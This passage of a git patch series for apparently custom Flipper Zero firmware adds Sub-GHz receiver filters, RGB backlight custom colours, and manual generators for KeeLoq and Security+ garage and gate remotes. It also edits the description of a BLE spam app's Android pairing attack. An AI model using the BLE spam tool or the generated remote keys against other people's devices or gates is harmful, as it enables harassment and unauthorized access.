From 8ebfda6b8ce1d9a1cd28a57559e0814fc0f6a996 Mon Sep 17 00:00:00 2001 From: Soren Date: Tue, 3 Oct 2023 17:56:39 +0300 Subject: [PATCH 01/56] Added NiceFloR-S to ignore options, removed colons. --- .../scenes/subghz_scene_receiver_config.c | 32 ++++++++++++++----- .../main/subghz/subghz_last_settings.c | 4 ++- lib/subghz/protocols/nice_flor_s.c | 2 +- lib/subghz/types.h | 1 + 4 files changed, 29 insertions(+), 10 deletions(-) diff --git a/applications/main/subghz/scenes/subghz_scene_receiver_config.c b/applications/main/subghz/scenes/subghz_scene_receiver_config.c index d09b63c4e..8b7d82193 100644 --- a/applications/main/subghz/scenes/subghz_scene_receiver_config.c +++ b/applications/main/subghz/scenes/subghz_scene_receiver_config.c @@ -278,6 +278,10 @@ static void subghz_scene_receiver_config_set_princeton(VariableItem* item) { subghz_scene_receiver_config_set_ignore_filter(item, SubGhzProtocolFlag_Princeton); } +static void subghz_scene_receiver_config_set_niceflors(VariableItem* item) { + subghz_scene_receiver_config_set_ignore_filter(item, SubGhzProtocolFlag_NiceFlorS); +} + static void subghz_scene_receiver_config_var_list_enter_callback(void* context, uint32_t index) { furi_assert(context); SubGhz* subghz = context; @@ -336,7 +340,7 @@ void subghz_scene_receiver_config_on_enter(void* context) { item = variable_item_list_add( subghz->variable_item_list, - "Frequency:", + "Frequency", subghz_setting_get_frequency_count(setting), subghz_scene_receiver_config_set_frequency, subghz); @@ -356,7 +360,7 @@ void subghz_scene_receiver_config_on_enter(void* context) { item = variable_item_list_add( subghz->variable_item_list, - "Modulation:", + "Modulation", subghz_setting_get_preset_count(setting), subghz_scene_receiver_config_set_preset, subghz); @@ -371,7 +375,7 @@ void subghz_scene_receiver_config_on_enter(void* context) { // Hopping item = variable_item_list_add( subghz->variable_item_list, - "Hopping:", + "Hopping", COMBO_BOX_COUNT, subghz_scene_receiver_config_set_hopping_running, subghz); @@ -385,7 +389,7 @@ void subghz_scene_receiver_config_on_enter(void* context) { SubGhzCustomEventManagerSet) { item = variable_item_list_add( subghz->variable_item_list, - "Bin RAW:", + "Bin RAW", COMBO_BOX_COUNT, subghz_scene_receiver_config_set_bin_raw, subghz); @@ -399,7 +403,7 @@ void subghz_scene_receiver_config_on_enter(void* context) { SubGhzCustomEventManagerSet) { item = variable_item_list_add( subghz->variable_item_list, - "Ignore Starline:", + "Ignore Starline", COMBO_BOX_COUNT, subghz_scene_receiver_config_set_starline, subghz); @@ -411,7 +415,7 @@ void subghz_scene_receiver_config_on_enter(void* context) { item = variable_item_list_add( subghz->variable_item_list, - "Ignore Cars:", + "Ignore Cars", COMBO_BOX_COUNT, subghz_scene_receiver_config_set_auto_alarms, subghz); @@ -423,7 +427,7 @@ void subghz_scene_receiver_config_on_enter(void* context) { item = variable_item_list_add( subghz->variable_item_list, - "Ignore Magellan:", + "Ignore Magellan", COMBO_BOX_COUNT, subghz_scene_receiver_config_set_magellan, subghz); @@ -435,7 +439,7 @@ void subghz_scene_receiver_config_on_enter(void* context) { item = variable_item_list_add( subghz->variable_item_list, - "Ignore Princeton:", + "Ignore Princeton", COMBO_BOX_COUNT, subghz_scene_receiver_config_set_princeton, subghz); @@ -444,6 +448,18 @@ void subghz_scene_receiver_config_on_enter(void* context) { subghz->ignore_filter, SubGhzProtocolFlag_Princeton); variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, combobox_text[value_index]); + + item = variable_item_list_add( + subghz->variable_item_list, + "Ignore NiceFloRS", + COMBO_BOX_COUNT, + subghz_scene_receiver_config_set_niceflors, + subghz); + + value_index = subghz_scene_receiver_config_ignore_filter_get_index( + subghz->ignore_filter, SubGhzProtocolFlag_NiceFlorS); + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, combobox_text[value_index]); } // Enable speaker, will send all incoming noises and signals to speaker so you can listen how your remote sounds like :) diff --git a/applications/main/subghz/subghz_last_settings.c b/applications/main/subghz/subghz_last_settings.c index 2109024ad..fe072a1ef 100644 --- a/applications/main/subghz/subghz_last_settings.c +++ b/applications/main/subghz/subghz_last_settings.c @@ -303,7 +303,7 @@ void subghz_last_settings_log(SubGhzLastSettings* instance) { TAG, "Frequency: %03ld.%02ld, FeedbackLevel: %ld, FATrigger: %.2f, External: %s, ExtPower: %s, TimestampNames: %s, ExtPowerAmp: %s,\n" "Hopping: %s,\nPreset: %ld, RSSI: %.2f, " - "Starline: %s, Cars: %s, Magellan: %s, BinRAW: %s", + "Starline: %s, Cars: %s, Magellan: %s, NiceFloR-S: %s, BinRAW: %s", instance->frequency / 1000000 % 1000, instance->frequency / 10000 % 100, instance->frequency_analyzer_feedback_level, @@ -321,5 +321,7 @@ void subghz_last_settings_log(SubGhzLastSettings* instance) { instance->ignore_filter, SubGhzProtocolFlag_AutoAlarms), subghz_last_settings_log_filter_get_index( instance->ignore_filter, SubGhzProtocolFlag_Magellan), + subghz_last_settings_log_filter_get_index( + instance->ignore_filter, SubGhzProtocolFlag_NiceFlorS), subghz_last_settings_log_filter_get_index(instance->filter, SubGhzProtocolFlag_BinRAW)); } diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 8c4a22858..3f56ba107 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -80,7 +80,7 @@ const SubGhzProtocol subghz_protocol_nice_flor_s = { .type = SubGhzProtocolTypeDynamic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | - SubGhzProtocolFlag_Send, + SubGhzProtocolFlag_Send | SubGhzProtocolFlag_NiceFlorS, .decoder = &subghz_protocol_nice_flor_s_decoder, .encoder = &subghz_protocol_nice_flor_s_encoder, diff --git a/lib/subghz/types.h b/lib/subghz/types.h index 8999e1d54..0dc219bbf 100644 --- a/lib/subghz/types.h +++ b/lib/subghz/types.h @@ -129,6 +129,7 @@ typedef enum { SubGhzProtocolFlag_AutoAlarms = (1 << 12), SubGhzProtocolFlag_Magellan = (1 << 13), SubGhzProtocolFlag_Princeton = (1 << 14), + SubGhzProtocolFlag_NiceFlorS = (1 << 15), } SubGhzProtocolFlag; struct SubGhzProtocol { From c3536f7ecd4a1b6f5c2a55a1f3d96e98bb1bd9db Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 16 Oct 2023 00:46:23 +0100 Subject: [PATCH 02/56] Mimimi --- applications/external/ble_spam/ble_spam.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 605fc1372..e0af2bfdd 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -87,7 +87,7 @@ static Attack attacks[] = { }, { .title = "Android Device Pair", - .text = "~15min cooldown, long range", + .text = "Reboot cooldown, long range", .payload = { .random_mac = true, From 9e90948fc3e0981e54315828c5600bc4ba139c9e Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 16 Oct 2023 05:01:42 +0300 Subject: [PATCH 03/56] RGB: Fix white color on reboot, move settings, add custom color options --- .ci_files/rgb.patch | 211 ++++++++++++++++++++++++++++++++++++-------- 1 file changed, 175 insertions(+), 36 deletions(-) diff --git a/.ci_files/rgb.patch b/.ci_files/rgb.patch index afd239160..7011c9801 100644 --- a/.ci_files/rgb.patch +++ b/.ci_files/rgb.patch @@ -1,5 +1,5 @@ diff --git a/applications/services/notification/notification_app.c b/applications/services/notification/notification_app.c -index 2f947fe..03c4c76 100644 +index 5769ced..c5d3088 100644 --- a/applications/services/notification/notification_app.c +++ b/applications/services/notification/notification_app.c @@ -9,6 +9,7 @@ @@ -10,7 +10,7 @@ index 2f947fe..03c4c76 100644 #define TAG "NotificationSrv" -@@ -579,6 +580,7 @@ int32_t notification_srv(void* p) { +@@ -589,6 +590,7 @@ int32_t notification_srv(void* p) { break; case SaveSettingsMessage: notification_save_settings(app); @@ -19,7 +19,7 @@ index 2f947fe..03c4c76 100644 } diff --git a/applications/settings/notification_settings/notification_settings_app.c b/applications/settings/notification_settings/notification_settings_app.c -index 565d4f1..bae9299 100644 +index 1955012..19d953d 100644 --- a/applications/settings/notification_settings/notification_settings_app.c +++ b/applications/settings/notification_settings/notification_settings_app.c @@ -3,6 +3,7 @@ @@ -30,10 +30,20 @@ index 565d4f1..bae9299 100644 #define MAX_NOTIFICATION_SETTINGS 4 -@@ -162,6 +163,14 @@ static void vibro_changed(VariableItem* item) { +@@ -20,6 +21,8 @@ static const NotificationSequence sequence_note_c = { + NULL, + }; + ++static VariableItem* temp_item; ++ + #define CONTRAST_COUNT 11 + const char* const contrast_text[CONTRAST_COUNT] = { + "-5", +@@ -156,6 +159,59 @@ static void vibro_changed(VariableItem* item) { notification_message(app->notification, &sequence_single_vibro); } ++// Set RGB backlight color +static void color_changed(VariableItem* item) { + NotificationAppSettings* app = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); @@ -41,31 +51,102 @@ index 565d4f1..bae9299 100644 + variable_item_set_current_value_text(item, rgb_backlight_get_color_text(index)); + notification_message(app->notification, &sequence_display_backlight_on); +} ++ ++// TODO: refactor and fix this ++static void color_set_custom_red(VariableItem* item) { ++ NotificationAppSettings* app = variable_item_get_context(item); ++ uint8_t index = variable_item_get_current_value_index(item); ++ rgb_backlight_set_custom_color(index, 0); ++ char valtext[4] = {}; ++ snprintf(valtext, sizeof(valtext), "%d", index); ++ variable_item_set_current_value_text(item, valtext); ++ rgb_backlight_set_color(13); ++ rgb_backlight_update(app->notification->settings.display_brightness * 0xFF, true); ++ // Set to custom color explicitly ++ variable_item_set_current_value_index(temp_item, 13); ++ variable_item_set_current_value_text(temp_item, rgb_backlight_get_color_text(13)); ++ notification_message(app->notification, &sequence_display_backlight_on); ++} ++static void color_set_custom_green(VariableItem* item) { ++ NotificationAppSettings* app = variable_item_get_context(item); ++ uint8_t index = variable_item_get_current_value_index(item); ++ rgb_backlight_set_custom_color(index, 1); ++ char valtext[4] = {}; ++ snprintf(valtext, sizeof(valtext), "%d", index); ++ variable_item_set_current_value_text(item, valtext); ++ rgb_backlight_set_color(13); ++ rgb_backlight_update(app->notification->settings.display_brightness * 0xFF, true); ++ // Set to custom color explicitly ++ variable_item_set_current_value_index(temp_item, 13); ++ variable_item_set_current_value_text(temp_item, rgb_backlight_get_color_text(13)); ++ notification_message(app->notification, &sequence_display_backlight_on); ++} ++static void color_set_custom_blue(VariableItem* item) { ++ NotificationAppSettings* app = variable_item_get_context(item); ++ uint8_t index = variable_item_get_current_value_index(item); ++ rgb_backlight_set_custom_color(index, 2); ++ char valtext[4] = {}; ++ snprintf(valtext, sizeof(valtext), "%d", index); ++ variable_item_set_current_value_text(item, valtext); ++ rgb_backlight_set_color(13); ++ rgb_backlight_update(app->notification->settings.display_brightness * 0xFF, true); ++ // Set to custom color explicitly ++ variable_item_set_current_value_index(temp_item, 13); ++ variable_item_set_current_value_text(temp_item, rgb_backlight_get_color_text(13)); ++ notification_message(app->notification, &sequence_display_backlight_on); ++} + static uint32_t notification_app_settings_exit(void* context) { UNUSED(context); return VIEW_NONE; -@@ -187,7 +196,13 @@ static NotificationAppSettings* alloc_settings() { +@@ -180,8 +236,40 @@ static NotificationAppSettings* alloc_settings() { + variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, contrast_text[value_index]); - item = variable_item_list_add( -- app->variable_item_list, "LCD Backlight", BACKLIGHT_COUNT, backlight_changed, app); ++ // RGB Colors ++ item = variable_item_list_add( + app->variable_item_list, "LCD Color", rgb_backlight_get_color_count(), color_changed, app); + value_index = rgb_backlight_get_settings()->display_color_index; + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, rgb_backlight_get_color_text(value_index)); ++ temp_item = item; ++ ++ // Custom Color - REFACTOR THIS ++ item = variable_item_list_add( ++ app->variable_item_list, "Custom Red", 255, color_set_custom_red, app); ++ value_index = rgb_backlight_get_settings()->custom_r; ++ variable_item_set_current_value_index(item, value_index); ++ char valtext[4] = {}; ++ snprintf(valtext, sizeof(valtext), "%d", value_index); ++ variable_item_set_current_value_text(item, valtext); + + item = variable_item_list_add( ++ app->variable_item_list, "Custom Green", 255, color_set_custom_green, app); ++ value_index = rgb_backlight_get_settings()->custom_g; ++ variable_item_set_current_value_index(item, value_index); ++ snprintf(valtext, sizeof(valtext), "%d", value_index); ++ variable_item_set_current_value_text(item, valtext); ++ ++ item = variable_item_list_add( ++ app->variable_item_list, "Custom Blue", 255, color_set_custom_blue, app); ++ value_index = rgb_backlight_get_settings()->custom_b; ++ variable_item_set_current_value_index(item, value_index); ++ snprintf(valtext, sizeof(valtext), "%d", value_index); ++ variable_item_set_current_value_text(item, valtext); ++ // End of RGB ++ + item = variable_item_list_add( +- app->variable_item_list, "LCD Backlight", BACKLIGHT_COUNT, backlight_changed, app); + app->variable_item_list, "LCD Brightness", BACKLIGHT_COUNT, backlight_changed, app); value_index = value_index_float( app->notification->settings.display_brightness, backlight_value, BACKLIGHT_COUNT); variable_item_set_current_value_index(item, value_index); diff --git a/applications/settings/notification_settings/rgb_backlight.c b/applications/settings/notification_settings/rgb_backlight.c new file mode 100644 -index 0000000..269b544 +index 0000000..98f0d3a --- /dev/null +++ b/applications/settings/notification_settings/rgb_backlight.c -@@ -0,0 +1,171 @@ +@@ -0,0 +1,217 @@ +/* + RGB backlight FlipperZero driver + Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) @@ -88,9 +169,9 @@ index 0000000..269b544 +#include +#include + -+#define RGB_BACKLIGHT_SETTINGS_VERSION 5 ++#define RGB_BACKLIGHT_SETTINGS_VERSION 6 +#define RGB_BACKLIGHT_SETTINGS_FILE_NAME ".rgb_backlight.settings" -+#define RGB_BACKLIGHT_SETTINGS_PATH EXT_PATH(RGB_BACKLIGHT_SETTINGS_FILE_NAME) ++#define RGB_BACKLIGHT_SETTINGS_PATH INT_PATH(RGB_BACKLIGHT_SETTINGS_FILE_NAME) + +#define COLOR_COUNT (sizeof(colors) / sizeof(RGBBacklightColor)) + @@ -99,11 +180,14 @@ index 0000000..269b544 +static RGBBacklightSettings rgb_settings = { + .version = RGB_BACKLIGHT_SETTINGS_VERSION, + .display_color_index = 0, ++ .custom_r = 254, ++ .custom_g = 254, ++ .custom_b = 254, + .settings_is_loaded = false}; + +static const RGBBacklightColor colors[] = { + {"Orange", 255, 60, 0}, -+ {"Yellow", 255, 150, 0}, ++ {"Yellow", 255, 144, 0}, + {"Spring", 167, 255, 0}, + {"Lime", 0, 255, 0}, + {"Aqua", 0, 255, 127}, @@ -114,7 +198,8 @@ index 0000000..269b544 + {"Magenta", 210, 0, 210}, + {"Pink", 255, 0, 127}, + {"Red", 255, 0, 0}, -+ {"White", 150, 150, 110}, ++ {"White", 254, 210, 200}, ++ {"Custom", 0, 0, 0}, +}; + +uint8_t rgb_backlight_get_color_count(void) { @@ -126,18 +211,28 @@ index 0000000..269b544 +} + +void rgb_backlight_load_settings(void) { -+ //Не загружать данные из внутренней памяти при загрузке в режиме DFU -+ FuriHalRtcBootMode bm = furi_hal_rtc_get_boot_mode(); -+ if(bm == FuriHalRtcBootModeDfu) { ++ // Do not load settings if we are in other boot modes than normal ++ if(furi_hal_rtc_get_boot_mode() != FuriHalRtcBootModeNormal) { + rgb_settings.settings_is_loaded = true; + return; + } + ++ // Wait for all required services to start and create their records ++ uint8_t timeout = 0; ++ while(!furi_record_exists(RECORD_STORAGE)) { ++ timeout++; ++ if(timeout > 150) { ++ rgb_settings.settings_is_loaded = true; ++ return; ++ } ++ furi_delay_ms(5); ++ } ++ + RGBBacklightSettings settings; + File* file = storage_file_alloc(furi_record_open(RECORD_STORAGE)); + const size_t settings_size = sizeof(RGBBacklightSettings); + -+ FURI_LOG_I(TAG, "loading settings from \"%s\"", RGB_BACKLIGHT_SETTINGS_PATH); ++ FURI_LOG_D(TAG, "loading settings from \"%s\"", RGB_BACKLIGHT_SETTINGS_PATH); + bool fs_result = + storage_file_open(file, RGB_BACKLIGHT_SETTINGS_PATH, FSAM_READ, FSOM_OPEN_EXISTING); + @@ -150,7 +245,7 @@ index 0000000..269b544 + } + + if(fs_result) { -+ FURI_LOG_I(TAG, "load success"); ++ FURI_LOG_D(TAG, "load success"); + if(settings.version != RGB_BACKLIGHT_SETTINGS_VERSION) { + FURI_LOG_E( + TAG, @@ -175,7 +270,7 @@ index 0000000..269b544 + File* file = storage_file_alloc(furi_record_open(RECORD_STORAGE)); + const size_t settings_size = sizeof(RGBBacklightSettings); + -+ FURI_LOG_I(TAG, "saving settings to \"%s\"", RGB_BACKLIGHT_SETTINGS_PATH); ++ FURI_LOG_D(TAG, "saving settings to \"%s\"", RGB_BACKLIGHT_SETTINGS_PATH); + + memcpy(&settings, &rgb_settings, settings_size); + @@ -191,7 +286,7 @@ index 0000000..269b544 + } + + if(fs_result) { -+ FURI_LOG_I(TAG, "save success"); ++ FURI_LOG_D(TAG, "save success"); + } else { + FURI_LOG_E(TAG, "save failed, %s", storage_file_get_error_desc(file)); + } @@ -213,36 +308,68 @@ index 0000000..269b544 + rgb_settings.display_color_index = color_index; +} + -+void rgb_backlight_update(uint8_t brightness) { ++void rgb_backlight_set_custom_color(uint8_t color, uint8_t index) { ++ if(index > 2) return; ++ if(index == 0) { ++ rgb_settings.custom_r = color; ++ } else if(index == 1) { ++ rgb_settings.custom_g = color; ++ } else if(index == 2) { ++ rgb_settings.custom_b = color; ++ } ++} ++ ++void rgb_backlight_update(uint8_t brightness, bool bypass) { + if(!rgb_settings.settings_is_loaded) { + rgb_backlight_load_settings(); + } + -+ static uint8_t last_color_index = 255; -+ static uint8_t last_brightness = 123; ++ if(!bypass) { ++ static uint8_t last_color_index = 255; ++ static uint8_t last_brightness = 123; + -+ if(last_brightness == brightness && last_color_index == rgb_settings.display_color_index) -+ return; ++ if(last_brightness == brightness && last_color_index == rgb_settings.display_color_index) { ++ return; ++ } + -+ last_brightness = brightness; -+ last_color_index = rgb_settings.display_color_index; ++ last_brightness = brightness; ++ last_color_index = rgb_settings.display_color_index; ++ } + + for(uint8_t i = 0; i < SK6805_get_led_count(); i++) { -+ uint8_t r = colors[rgb_settings.display_color_index].red * (brightness / 255.0f); -+ uint8_t g = colors[rgb_settings.display_color_index].green * (brightness / 255.0f); -+ uint8_t b = colors[rgb_settings.display_color_index].blue * (brightness / 255.0f); ++ if(rgb_settings.display_color_index == 13) { ++ uint8_t r = rgb_settings.custom_r * (brightness / 255.0f); ++ uint8_t g = rgb_settings.custom_g * (brightness / 255.0f); ++ uint8_t b = rgb_settings.custom_b * (brightness / 255.0f); + -+ SK6805_set_led_color(i, r, g, b); ++ SK6805_set_led_color(i, r, g, b); ++ } else { ++ if((colors[rgb_settings.display_color_index].red == 0) && ++ (colors[rgb_settings.display_color_index].green == 0) && ++ (colors[rgb_settings.display_color_index].blue == 0)) { ++ uint8_t r = colors[0].red * (brightness / 255.0f); ++ uint8_t g = colors[0].green * (brightness / 255.0f); ++ uint8_t b = colors[0].blue * (brightness / 255.0f); ++ ++ SK6805_set_led_color(i, r, g, b); ++ } else { ++ uint8_t r = colors[rgb_settings.display_color_index].red * (brightness / 255.0f); ++ uint8_t g = colors[rgb_settings.display_color_index].green * (brightness / 255.0f); ++ uint8_t b = colors[rgb_settings.display_color_index].blue * (brightness / 255.0f); ++ ++ SK6805_set_led_color(i, r, g, b); ++ } ++ } + } + + SK6805_update(); +} diff --git a/applications/settings/notification_settings/rgb_backlight.h b/applications/settings/notification_settings/rgb_backlight.h new file mode 100644 -index 0000000..b63d223 +index 0000000..68dacda --- /dev/null +++ b/applications/settings/notification_settings/rgb_backlight.h -@@ -0,0 +1,79 @@ +@@ -0,0 +1,91 @@ +/* + RGB backlight FlipperZero driver + Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) @@ -274,6 +401,9 @@ index 0000000..b63d223 +typedef struct { + uint8_t version; + uint8_t display_color_index; ++ uint8_t custom_r; ++ uint8_t custom_g; ++ uint8_t custom_b; + bool settings_is_loaded; +} RGBBacklightSettings; + @@ -298,8 +428,9 @@ index 0000000..b63d223 + * @brief Применить текущие настройки RGB-подсветки + * + * @param brightness Яркость свечения (0-255) ++ * @param bypass Применить настройки принудительно + */ -+void rgb_backlight_update(uint8_t brightness); ++void rgb_backlight_update(uint8_t brightness, bool bypass); + +/** + * @brief Установить цвет RGB-подсветки @@ -309,6 +440,14 @@ index 0000000..b63d223 +void rgb_backlight_set_color(uint8_t color_index); + +/** ++ * @brief Set custom color values by index - 0=R 1=G 2=B ++ * ++ * @param color - color value (0-255) ++ * @param index - color index (0-2) 0=R 1=G 2=B ++ */ ++void rgb_backlight_set_custom_color(uint8_t color, uint8_t index); ++ ++/** + * @brief Получить количество доступных цветов + * + * @return Число доступных вариантов цвета @@ -324,7 +463,7 @@ index 0000000..b63d223 +const char* rgb_backlight_get_color_text(uint8_t index); \ No newline at end of file diff --git a/firmware/targets/f7/furi_hal/furi_hal_light.c b/firmware/targets/f7/furi_hal/furi_hal_light.c -index 83e1603..cad5b86 100644 +index 83e1603..45798ca 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_light.c +++ b/firmware/targets/f7/furi_hal/furi_hal_light.c @@ -3,6 +3,7 @@ @@ -353,7 +492,7 @@ index 83e1603..cad5b86 100644 - uint8_t prev = lp5562_get_channel_value(&furi_hal_i2c_handle_power, LP5562ChannelWhite); - lp5562_execute_ramp( - &furi_hal_i2c_handle_power, LP5562Engine1, LP5562ChannelWhite, prev, value, 100); -+ rgb_backlight_update(value); ++ rgb_backlight_update(value, false); + } else { + furi_hal_i2c_acquire(&furi_hal_i2c_handle_power); + if(light & LightRed) { From 8e3378b7b9db96f901ed3ea5174988768367d14f Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 16 Oct 2023 05:06:40 +0300 Subject: [PATCH 04/56] SubGHz: add manually fixes --- .../main/subghz/helpers/subghz_custom_event.h | 6 +++--- .../main/subghz/scenes/subghz_scene_set_type.c | 15 ++++++++------- 2 files changed, 11 insertions(+), 10 deletions(-) diff --git a/applications/main/subghz/helpers/subghz_custom_event.h b/applications/main/subghz/helpers/subghz_custom_event.h index 5f1a02673..b0c324f97 100644 --- a/applications/main/subghz/helpers/subghz_custom_event.h +++ b/applications/main/subghz/helpers/subghz_custom_event.h @@ -51,9 +51,9 @@ typedef enum { SubmenuIndexGateTX, SubmenuIndexDoorHan_315_00, SubmenuIndexDoorHan_433_92, - SubmenuIndexLiftMaster_315_00, - SubmenuIndexLiftMaster_390_00, - SubmenuIndexLiftMaster_433_00, + SubmenuIndexSecPlus_v1_315_00, + SubmenuIndexSecPlus_v1_390_00, + SubmenuIndexSecPlus_v1_433_00, SubmenuIndexSecPlus_v2_310_00, SubmenuIndexSecPlus_v2_315_00, SubmenuIndexSecPlus_v2_390_00, diff --git a/applications/main/subghz/scenes/subghz_scene_set_type.c b/applications/main/subghz/scenes/subghz_scene_set_type.c index d31978015..a778ae8ab 100644 --- a/applications/main/subghz/scenes/subghz_scene_set_type.c +++ b/applications/main/subghz/scenes/subghz_scene_set_type.c @@ -278,19 +278,19 @@ void subghz_scene_set_type_on_enter(void* context) { submenu_add_item( subghz->submenu, "Security+1.0 315MHz", - SubmenuIndexLiftMaster_315_00, + SubmenuIndexSecPlus_v1_315_00, subghz_scene_set_type_submenu_callback, subghz); submenu_add_item( subghz->submenu, "Security+1.0 390MHz", - SubmenuIndexLiftMaster_390_00, + SubmenuIndexSecPlus_v1_390_00, subghz_scene_set_type_submenu_callback, subghz); submenu_add_item( subghz->submenu, "Security+1.0 433MHz", - SubmenuIndexLiftMaster_433_00, + SubmenuIndexSecPlus_v1_433_00, subghz_scene_set_type_submenu_callback, subghz); submenu_add_item( @@ -371,7 +371,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { subghz->txrx, "AM650", 433920000, SUBGHZ_PROTOCOL_CAME_NAME, key, 24); break; case SubmenuIndexCAME12bit868: - key = (key & 0x0000FFF0) | 0x1; //btn 0x1, 0x2, 0x4 + key = (key & 0x00000FF0) | 0x1; //btn 0x1, 0x2, 0x4 generated_protocol = subghz_txrx_gen_data_protocol( subghz->txrx, "AM650", 868350000, SUBGHZ_PROTOCOL_CAME_NAME, key, 12); break; @@ -702,15 +702,15 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } break; - case SubmenuIndexLiftMaster_315_00: + case SubmenuIndexSecPlus_v1_315_00: generated_protocol = subghz_txrx_gen_secplus_v1_protocol(subghz->txrx, "AM650", 315000000); break; - case SubmenuIndexLiftMaster_390_00: + case SubmenuIndexSecPlus_v1_390_00: generated_protocol = subghz_txrx_gen_secplus_v1_protocol(subghz->txrx, "AM650", 390000000); break; - case SubmenuIndexLiftMaster_433_00: + case SubmenuIndexSecPlus_v1_433_00: generated_protocol = subghz_txrx_gen_secplus_v1_protocol(subghz->txrx, "AM650", 433920000); break; @@ -730,6 +730,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { subghz->txrx, "AM650", 390000000, key, 0x68, 0xE500000); break; case SubmenuIndexSecPlus_v2_433_00: + key = (key & 0x7FFFF3FC); // 850LM pairing generated_protocol = subghz_txrx_gen_secplus_v2_protocol( subghz->txrx, "AM650", 433920000, key, 0x68, 0xE500000); break; From b44bc718be1bbf39a3d25120414731e5a001b334 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 16 Oct 2023 05:28:47 +0300 Subject: [PATCH 05/56] SubGHz: Add 4 more systems to add manually (untested!!!) if you have remotes from these systems please share captures, also try binding flipper as new remote in current condition --- .../main/subghz/helpers/subghz_custom_event.h | 4 ++ .../subghz/scenes/subghz_scene_set_type.c | 60 +++++++++++++++++++ 2 files changed, 64 insertions(+) diff --git a/applications/main/subghz/helpers/subghz_custom_event.h b/applications/main/subghz/helpers/subghz_custom_event.h index b0c324f97..fec4c66c5 100644 --- a/applications/main/subghz/helpers/subghz_custom_event.h +++ b/applications/main/subghz/helpers/subghz_custom_event.h @@ -25,8 +25,12 @@ typedef enum { SubmenuIndexStilmatic, SubmenuIndexDTMNeo433, SubmenuIndexGibidi433, + SubmenuIndexNiceMHouse_433_92, + SubmenuIndexJCM_433_92, + SubmenuIndexNormstahl_433_92, SubmenuIndexGSN, SubmenuIndexAprimatic, + SubmenuIndexHCS101_433_92, SubmenuIndexANMotorsAT4, SubmenuIndexAlutechAT4N, SubmenuIndexNiceFlo12bit, diff --git a/applications/main/subghz/scenes/subghz_scene_set_type.c b/applications/main/subghz/scenes/subghz_scene_set_type.c index a778ae8ab..28db55d75 100644 --- a/applications/main/subghz/scenes/subghz_scene_set_type.c +++ b/applications/main/subghz/scenes/subghz_scene_set_type.c @@ -67,6 +67,12 @@ void subghz_scene_set_type_on_enter(void* context) { SubmenuIndexAlutechAT4N, subghz_scene_set_type_submenu_callback, subghz); + submenu_add_item( + subghz->submenu, + "KL: HCS101 433MHz", + SubmenuIndexHCS101_433_92, + subghz_scene_set_type_submenu_callback, + subghz); submenu_add_item( subghz->submenu, "KL: DoorHan 315MHz", @@ -163,6 +169,24 @@ void subghz_scene_set_type_on_enter(void* context) { SubmenuIndexElmesElectronic, subghz_scene_set_type_submenu_callback, subghz); + submenu_add_item( + subghz->submenu, + "KL: Normstahl 433MHz", + SubmenuIndexNormstahl_433_92, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "KL: JCM Tech 433MHz", + SubmenuIndexJCM_433_92, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "KL: Nice Mhouse 433MHz", + SubmenuIndexNiceMHouse_433_92, + subghz_scene_set_type_submenu_callback, + subghz); submenu_add_item( subghz->submenu, "KL: Nice Smilo 433MHz", @@ -702,6 +726,42 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } break; + case SubmenuIndexNiceMHouse_433_92: + generated_protocol = subghz_txrx_gen_keeloq_protocol( + subghz->txrx, "AM650", 433920000, key & 0x00FFFFFF, 0x2, 0x0003, "NICE_MHOUSE"); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexJCM_433_92: + generated_protocol = subghz_txrx_gen_keeloq_protocol( + subghz->txrx, "AM650", 433920000, key & 0x00FFFFFF, 0x2, 0x0003, "JCM_Tech"); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexNormstahl_433_92: + generated_protocol = subghz_txrx_gen_keeloq_protocol( + subghz->txrx, "AM650", 433920000, key & 0x00FFFFFF, 0x2, 0x0003, "Normstahl"); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + break; + case SubmenuIndexHCS101_433_92: + generated_protocol = subghz_txrx_gen_keeloq_protocol( + subghz->txrx, "AM650", 433920000, key & 0x000FFFFF, 0x2, 0x0003, "HCS101"); + if(!generated_protocol) { + furi_string_set( + subghz->error_str, "Function 